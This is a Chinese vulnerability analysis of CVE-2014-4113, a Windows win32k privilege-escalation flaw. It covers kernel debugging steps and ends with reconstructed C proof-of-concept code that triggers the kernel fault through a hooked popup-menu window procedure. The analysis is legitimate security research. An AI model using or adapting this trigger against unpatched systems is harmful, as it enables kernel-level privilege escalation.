0396-CVE-2014-4113漏洞利用过程分析

# CVE-2014-4113漏洞利用过程分析

0x00 简介
——-

* * *

通过VMware和Windbg搭建32位内核调试环境,系统为xp sp2,执行漏洞利用程序win32.exe calc.exe,弹出了一个SYSTEM权限的calc。

![enter image description here](http://drops.javaweb.org/uploads/images/12cc3e8bf961caa1366d0c4dad47790e6846a0b8.jpg)

通过IDA分析`win32.exe`,可以看到`signed int __cdecl sub_4010F2()`函数通过调用`ZwQuerySystemInformation`泄露内核模块`ntkrnlpa.exe`基址,最终得到`PsLookupProcessByProcessId`函数地址,该函数用于漏洞利用代码。

![enter image description here](http://drops.javaweb.org/uploads/images/6b514c28e525b73f68b17d79ce0e89e4a385bb94.jpg)

`sub_401830`函数是漏洞利用代码,完成权限提升操作。

![enter image description here](http://drops.javaweb.org/uploads/images/3a62c44a0a016d62de7bd5e8bad4b3c89c564457.jpg)

0x01 调试过程
———

* * *

通过在函数上设置断点,可以得到漏洞利用触发位置。

![enter image description here](http://drops.javaweb.org/uploads/images/eeb4b4ecb05ed6241c113f9bf667f8c94d36b668.jpg)

可见是由`TrackPopupMenu`最终触发了漏洞,调用点为`call dwordptr[esi+20]`,此时`esi`的值为`0xfffffffb`。 通过函数调用栈,对esi值的来源进行反向跟踪,可以知道在Menu的消息处理函数`signed int __stdcall xxxHandleMenuMessages(int a1, int a2, int a3)`中调用`int __stdcall xxxMNFindWindowFromPoint(int a1, int a2, unsigned int a3)`时返回了异常的值,最终触发了漏洞。

![enter image description here](http://drops.javaweb.org/uploads/images/dd58fafa5f2eca72aa1cc304f65d91605b41b089.jpg)

通过对`xxxMNFindWindowFromPoint`的调用过程进行分析,找到异常的返回值是在`int __stdcall SfnOUTDWORDINDWORD(int a1, int a2, int a3, int a4, int a5, int a6, char a7, int a8)`中得到的。异常的值最终是由`KeUserModeCallback`函数通过v28指向的值返回。其中`KeUserModeCallback`函数的原型如下:

“`
NTSTATUS
KeUserModeCallback (
IN ULONGApiNumber,
IN PVOIDInputBuffer,
IN ULONGInputLength,
OUT PVOID *OutputBuffer,
IN PULONGOutputLength
);

“`

![enter image description here](http://drops.javaweb.org/uploads/images/eead3c4f232562c0b763646e5b50b358e05fd849.jpg)

内核态的`KeUserModeCallback`函数最终会调用`ntdll`中的`KiUserCallbackDispatcher`函数来调用用户态回调函数,通过对`KeUserModeCallback`、`KiUserCallbackDispatcher`设置断点,可以看到第一次处理`0x1EB(MN_FINDWINDOWFROMPOINT)`消息是通过`xxxSendMessageTimeout`中调用的xxxCallHook来调用用户注册的钩子函数,在用户空间里函数调用了USER32中的`__fnOUTDWORDINDWORD`函数,最终调用`sub_401475(pfnFilterProc)`函数。

![enter image description here](http://drops.javaweb.org/uploads/images/bab801dc65cb0f1b7ce4df398a8c87a11950eb18.jpg)

![enter image description here](http://drops.javaweb.org/uploads/images/6a8036b92448b01b5128da43075f28db2e4e0bc4.jpg)

![enter image description here](http://drops.javaweb.org/uploads/images/5b924c56cf721402bc81806bb69b735b678d382f.jpg)

程序在`pfnFilterProc`中通过`SetWindowLongA`设置PopupMenu的窗口消息处理函数,那么当xxxCallHook函数返回后,图中的`!(*(_BYTE *)(a1 + 22) & 4)`条件成立,将执行`xxxSendMessageToClient`,该函数内将执行`KeUserModeCallback`,最终调用用户态函数`sub_4013F3`。

![enter image description here](http://drops.javaweb.org/uploads/images/ea8b06242394d9d01484b7bc0dbad0305ef8212e.jpg)

![enter image description here](http://drops.javaweb.org/uploads/images/f428810b7f02ab26b53bc60f176da449cedbabb0.jpg)

`sub_4013F3`函数尾部返回了`0xFFFFFFFB`。与`KeUserModeCallback`函数通过v28返回的值相等。为了进一步确认,修改`sub_4013F3`函数返回值为`0xFFFFFFFF`。可以看到v28指向的值变成了`0xFFFFFFF`。

![enter image description here](http://drops.javaweb.org/uploads/images/27a1f185f355447cc9d64ac6663499fb5cd898b2.jpg)

![enter image description here](http://drops.javaweb.org/uploads/images/014c7210efb79706598e3c178cc9f4a939777bed.jpg)

通过修改win32.exe中的指令,将`0x40146D`处的`push 0FFFFFFFBh`修改为`push 0FFFFFFFFh`,执行之后发现提权失败。进一步确定由于内核的使用了异常的函数返回值,最终导致了权限提升。

![enter image description here](http://drops.javaweb.org/uploads/images/31cef537b2fd137a53475177645990578bde019c.jpg)

可见在`PopupMenu`的窗口消息处理函数处理0x1EB的消息时,没有判断消息函数的返回值,最终导致了权限提升。 所以漏洞触发的完整过程如下:通过模仿点击事件,`CreatePopupMenu`创建的`PopupMenu`会收到`0x1EB`类型的消息,因为无法拿到`PopupMenu`的窗口句柄,程序并没有办法直接设置`PopupMenu`的窗口消息处理函数,因此首先通过`SetWindowsHookExA`注册钩子函数,在钩子函数中得到`PopupMenu`的窗口句柄,再通过`SetWindowLongA`设置`PopupMenu`的窗口消息处理函数,注册之后,`xxxSendMessageToClient`将调用新的窗口消息处理函数,接收并处理0x1EB的消息。 在新的窗口消息处理函数中,对于消息号为`0x1EB`的消息,函数返回了`0xFFFFFFFB`,最终触发了漏洞。

![enter image description here](http://drops.javaweb.org/uploads/images/41f781335fb8f91e4ed43206de7384514b7c1d13.jpg)

0x02 触发代码
———

* * *

通过上面的分析,根据win32.exe中代码,稍加简化,可以得到如下的漏洞触发代码。

“`
#include”stdafx.h”
#include
DWORD dword_40DA54=0,dword_40DA5C=0;
WNDPROC lpPrevWndFunc = NULL;
LRESULT CALLBACK sub_4014D2(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam )
{
if ( Msg == WM_ENTERIDLE )
{
if ( dword_40DA5C != 1 )
{
dword_40DA5C = 1;
//模仿点击消息,触发0x1EB消息处理,执行pfnFilterProc
PostMessageA(hWnd, WM_KEYDOWN, 0x28u, 0);
PostMessageA(hWnd, WM_KEYDOWN, 0x27u, 0);
PostMessageA(hWnd, WM_LBUTTONDOWN, 0, 0);
}
}
return DefWindowProcA( hWnd,Msg,wParam,lParam);
}
int __cdecl sub_401306()
{
HMENU v0; // ebx@1
HMENU v1; // edi@4
MENUITEMINFOA mi; // [sp+Ch] [bp-64h]@1
MENUITEMINFOA v4; // [sp+3Ch] [bp-34h]@1
HMENU v9; // [sp+6Ch] [bp-4h]@1

v9 = 0;
memset((void *)&mi, 0, sizeof(mi));
memset(&v4, 0, sizeof(MENUITEMINFOA));
mi.cbSize = 48;
v0 = CreatePopupMenu();
if ( v0 )
{
mi.fMask = 64;
if ( InsertMenuItemA(v0, 0, 1, &mi) )
{
v4.fMask = 68;
v4.dwTypeData = (LPSTR)&dword_40DA54;
v4.cch = 1;
v4.hSubMenu = v0;
v4.cbSize = 48;
v1 = CreatePopupMenu();
v9 = v1;
if ( !v1 || !InsertMenuItemA(v1, 0, 1, (LPCMENUITEMINFOA)&v4) )
{
DestroyMenu(v0);
if ( v1 )
DestroyMenu(v1);
}
}
else
DestroyMenu(v0);
}
return (int)v9;
}

unsigned int __stdcall sub_4013F3(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
if ( Msg != 0x1EB )
return CallWindowProcA(lpPrevWndFunc, hWnd, Msg, wParam, lParam);
return 0xFFFFFFFBu;//返回xFFFFFFFB,触发漏洞
}

LRESULT __stdcall pfnFilterProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if ( *(DWORD *)(lParam + 8) == 0x1EB )
{
UnhookWindowsHook(4, pfnFilterProc);
//设置PopupMenu的窗口消息处理函数
lpPrevWndFunc = (WNDPROC)SetWindowLongA(*(HWND *)(lParam + 12), -4, (LONG)sub_4013F3);
}
return CallNextHookEx(0, nCode, wParam, lParam);
}

int __stdcall Exp()
{
int v1; // ebx@3
DWORD v2; // eax@5
int result; // eax@12
HWND hWnd; // [sp+10h] [bp-58h]@2
signed int v5; // [sp+14h] [bp-54h]@1
LPVOID lpAddress; // [sp+18h] [bp-50h]@1
struct _SYSTEM_INFO SystemInfo; // [sp+1Ch] [bp-4Ch]@1
WNDCLASSA WndClass; // [sp+40h] [bp-28h]@1
v5 = 0;
lpAddress = 0;
memset(&SystemInfo, 0, 0x24u);
memset(&WndClass, 0, 0x28u);
WndClass.lpfnWndProc = (WNDPROC)sub_4014D2;
WndClass.lpszClassName = “woqunimalegebi”;
GetNativeSystemInfo(&SystemInfo);
if (
SystemInfo.dwOemId != 9
&& (RegisterClassA(&WndClass)
&&(hWnd = CreateWindowExA(0, WndClass.lpszClassName, 0, 0, -1, -1, 0, 0, 0, 0, 0, 0)) !=0)
)
{
v1 = 0;
v5 = 1;
v1 = sub_401306();
if ( v1 )
{
v2 = GetCurrentThreadId();
SetWindowsHookExA(4, pfnFilterProc, 0, v2);
TrackPopupMenu((HMENU)v1, 0, 0xFFFFD8F0u, 0xFFFFD8F0u, 0, hWnd, 0);
}
DestroyWindow(hWnd);
if ( v1 )
DestroyMenu((HMENU)v1);
UnhookWindowsHook(4, pfnFilterProc);
if ( v5 )
VirtualFree(lpAddress, 0, 0x8000u);
result = 0;
}
else
result = 0;
return result;
}

int _tmain(int argc, _TCHAR* argv[])
{
Exp();
return 0;
}

“`

编译执行之后,可以看到触发了异常。

![enter image description here](http://drops.javaweb.org/uploads/images/3dd2d1793281e83bd0274847321205adcdba2481.jpg)

© 版权声明
THE END
喜欢就支持一下吧
点赞0赞赏 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容